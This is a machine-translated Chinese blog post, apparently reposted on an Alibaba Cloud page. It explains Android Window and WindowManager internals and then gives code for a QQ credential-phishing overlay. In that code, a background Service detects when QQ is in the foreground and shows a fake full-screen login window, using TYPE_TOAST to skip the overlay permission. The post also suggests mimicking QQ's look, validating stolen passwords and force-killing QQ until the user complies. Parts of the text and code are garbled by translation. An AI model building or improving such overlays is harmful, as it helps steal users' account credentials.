Case study of android WindowManager parsing and QQ password fraud

Source: Internet
Author: User

Case study of android WindowManager parsing and QQ password fraud

Recently, I saw a person raise a vulnerability on wooyun on the Internet. The application can enable a background Service to detect the current top application. If it is a QQ or related application, A custom window pops up to trick users into entering the account and password. I am very interested in this. I wrote a demo to summarize the relevant knowledge. The interface is as follows (the interface is rough, so no one should be able to answer the question, =, = ):
            
                   

Windows & WindowManager Introduction

Before analyzing the demo, summarize the relevant knowledge. Let's take a look at the Window class. Window is an abstract class located in the code tree frameworks \ u0008asecorejavaandroidviewWindowjava. Java file. Together with comments, this file contains more than one thousand lines. It summarizes the basic attributes and functions of the Android window. The only implementation of this abstract class is PhoneWindow. to instantiate PhoneWindow, you only need a Window through WindowManager. The specific implementation of the Window class is located in WindowManagerService, the interaction between WindowManager and WindowManagerService is an IPC process. All views in Android are presented through the Window. Their views are actually attached to the Window, whether it is Activity, Dialog or Toast. Therefore, the Window is actually the direct manager of the View, click events are also transmitted to the view by Window. The WindowManager. LayoutParams. type parameter indicates the window type. There are three types: Window, subwindow, and System Window. The application Window corresponds to an Activity. subwindows such as Dialog cannot exist independently and must be attached to the application Window. System windows are not required, such as Toast and can be directly displayed. Each Window has a corresponding z-orderd. a window with a large level will overwrite a window with a small level. The hierarchical range of an application window is 1 ~ 99. The range of the sub-window is 1000 ~ 1999, the system window range is 2000 ~ 2999. These levels correspond to the relevant type. The relevant values of type are: Official website links and Chinese documents. WindowManager. layoutParams. the flags parameter indicates the properties of the window. The default value is none. The value of flags is the official link. For other LayoutParams variable names and values, see WindowManager. layoutParams (on) and WindowManager. layoutParams (below) Two translated blogs, which are very detailed.
Next, we will analyze WindowManager in detail. WindowManager is mainly used to manage the status, attributes, view addition, deletion, update, window order, and message Collection and Processing of windows. You can use the code Context. getSystemService (Context. WINDOW_SERVICE) to obtain the WindowManager instance. WindowManager provides very simple functions. There are only three methods commonly used: add View, update View, and delete View. These three methods are defined in ViewManager, while WindowManager inherits ViewManager,

AddView (); updateViewLayout (); removeView (); these functions are used to modify windows. The real implementation of these functions is the WindowManagerImpl class. The WindowManagerImpl class does not directly implement the three operations of windows, instead, it is all handed over to WindowManagerGlobal for processing. WindowManagerGlobal provides its own instance in the form of a factory and has the following code in WindowManagerGlobal: private final WindowManagerGlobal mGlobal = WindowManagerGlobal.getinstance(). WindowManagerImpl is a typical bridge mode, which delegates all operations to WindowManagerGlobal for implementation.
A View is a visual display method in Android, but a View cannot exist independently. It must be attached to the abstract concept of Window. Each Window corresponds to a View and a ViewRootImpl, window and View are connected by ViewRootImpl. Therefore, there are windows in the View area, such as common activities, Dialog, and Toast.
There is only one decorView (ViewRoot) for each activity. The window is obtained through the following method:
   Window mWindow = PolicyManager.makeNewWindow(this);
After a Window is created, the Activity sets a callback for the Window. When the Window receives a change in the external state, it calls back to the Activity. The setContentView () function is called in the activity, which calls window. setContentView () is completed, while the specific implementation of Window is PhoneWindow. Therefore, the final operation is in PhoneWindow. The first step of the setContentView method of PhoneWindow will check whether DecorView exists. If not, call the generateDecor function to directly create a DecorView. The second step is to add the view of the Activity to the mContentParent of the DecorView. The third step is to notify the Activity view that the onContentChanged method in the callback Activity has changed. After these steps are completed, DecorView has not been officially added to the Window by WindowManager. Finally, the makeVisible method in the onResume method of the Activity can be called to truly complete the addition and practical process, the view of the Activity can be viewed by the user.
The Window creation process of Dialog is similar to that of the Activity. The first step is to use PolicyManager. the makeNewWindow method is used to create a Window. However, the input context must be the context of the activity. The second step is to use the setContentView function to set the Layout View of the dialog. The third step is to call the show method, use WindowManager to add the DecorView to the Window for display.
Unlike Dialog, Toast is slightly more complex. First, Toast is implemented based on Window. However, because Toast has the function of timed cancellation, the system uses Handler. There are two types of IPC processes in Toast. The first is Toast accessing icationicationmanagerservice, and the second is the TN interface in icationicationmanagerservice callback Toast. In the Toast class, it is most important to display that the show method of the toast calls the service. enqueueToast (pkg, tn, mDuration); that is to say, the system maintains a toast queue for us. This is why the two toast does not display at the same time. This method adds one toast to the queue, the display time is maintained by the system.

 

private static INotificationManager sService;static private INotificationManager getService() {    if (sService != null) {        return sService;    }    sService = INotificationManager.Stub.asInterface(ServiceManager.getService("notification"));    return sService;}

The sService is a service used by the system to maintain toast. Finally, NMS calls a static private class TN in the Toast class through IPC, which is the main implementation of toast. This class completes the creation, display, and hiding of the toast view.

Defrauding QQ password instances

With the above foundation, this example is actually very simple.
The first step is to compile a Service and bring up a custom Window in the Service:

WindowManager = (WindowManager) getSystemService (Context. WINDOW_SERVICE); WindowManager. layoutParams params = new WindowManager. layoutParams (); params. width = WindowManager. layoutParams. MATCH_PARENT; params. height = WindowManager. layoutParams. MATCH_PARENT; params. flags = WindowManager. layoutParams. FLAG_NOT_TOUCH_MODAL; params. type = WindowManager. layoutParams. TYPE_TOAST; params. format = PixelFormat. TRANS PARENT; params. gravity = Gravity. CENTER; params. softInputMode = WindowManager. layoutParams. SOFT_INPUT_ADJUST_PAN; LayoutInflater inflater = LayoutInflater. from (this); v = (RelativeLayoutWithKeyDetect) inflater. inflate (R. layout. window, null); v. setCallback (new RelativeLayoutWithKeyDetect. IKeyCodeBackCallback () {@ Override public void backCallback () {if (v! = Null & v. isAttachedToWindow () L. e ("remove view"); windowManager. removeViewImmediate (v) ;}}); btn_sure = (Button) v. findViewById (R. id. btn_sure); btn_cancel = (Button) v. findViewById (R. id. btn_cancel); et_account = (EditText) v. findViewById (R. id. et_account); et_pwd = (EditText) v. findViewById (R. id. et_pwd); cb_showpwd = (CheckBox) v. findViewById (R. id. cb_showpwd); cb_showpwd.setOnCheckedChangeListener (new CompoundButton. onCheckedChangeListener () {@ Override public void onCheckedChanged (CompoundButton buttonView, boolean isChecked) {if (isChecked) {et_pwd.setTransformationMethod (HideReturnsTransformationMethod. getInstance ();} else {et_pwd.setTransformationMethod (PasswordTransformationMethod. getInstance ();} et_pwd.setSelection (TextUtils. isEmpty (et_pwd.getText ())? 0: et_pwd.getText (). length () ;}}); // useless // v. setOnKeyListener (new View. onKeyListener () {// @ Override // public boolean onKey (View v, int keyCode, KeyEvent event) {// Log. e ("zhao", keyCode + ""); // if (keyCode = KeyEvent. KEYCODE_BACK) {// windowManager. removeViewImmediate (v); // return true; //} // return false; //} //); // click the external button to disappear v. setOnTouchListener (new View. onTouchListener () {@ Override public boolean onTouch (View view, MotionEvent event) {Rect temp = new Rect (); view. getGlobalVisibleRect (temp); L. e ("remove view"); if (temp. contains (int) (event. getX (), (int) (event. getY () {windowManager. removeViewImmediate (v); return true;} return false ;}}); btn_sure.setOnClickListener (this); btn_cancel.setOnClickListener (this); L. e ("add view"); windowManager. addView (v, params );

Here are some points to note. The first one is that type uses TYPE_TOAST instead of TYPE_SYSTEM_ERROR to bypass permissions. This is a known vulnerability, haha; the second is because of Edittext, so softInputMode needs to be set to SOFT_INPUT_ADJUST_PAN. Otherwise, the keyboard will overwrite the Window. The third is the listening of the Return key. setOnKeyListener is not easy to use, in the end, only the view class's dispatchKeyEvent function can be rewritten to implement button listening. The fourth is to click the operation that disappears from the outside and the code will understand it.
After the pop-up box is implemented, you need to set a real-time listener to enable a thread to listen every few seconds to see if the app you are operating on is QQ. This is much simpler, you can use ActivityManager:

new Thread(new Runnable() {    @Override    public void run() {        while (isRunning){            L.e("running");            try {                Thread.sleep(3000);            } catch (InterruptedException e) {                e.printStackTrace();            }            ActivityManager activityManager = (ActivityManager)                    getSystemService(Context.ACTIVITY_SERVICE);            List list =                    activityManager.getRunningAppProcesses();            if (list.get(0).processName.equals("com.tencent.mobileqq")){                myHandler.sendEmptyMessage(1);            }        }  }}).start();

In this way, the effect is almost the same. Finally, start the Service in the Activity. Of course, there is still much room for improvement:
1. Modify the UI to make it more similar to the QQ style.
2. After Entering the account and password, you can addView A loadingDialog, and then call the relevant interface to verify the correctness of the user name and password. If not, the user is prompted to re-enter the password.
3. If the user does not enter the account and password, he can directly call the killBackgrondProcess function (requires permissions) and forcibly disable QQ until the user enters the account and password.
Of course, this is just learning knowledge. Everyone is happy? Finally, let's just talk about it. I received an interview call from Alibaba over the past few days and asked me to go to the interview. However, I didn't give a reply at the interview time. Finally, I didn't go through the following, I have been preparing for and looking forward to it for several days, and recently I am in a bad mood. In a word, you have abused me thousands of times and I am waiting for your first love ~.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.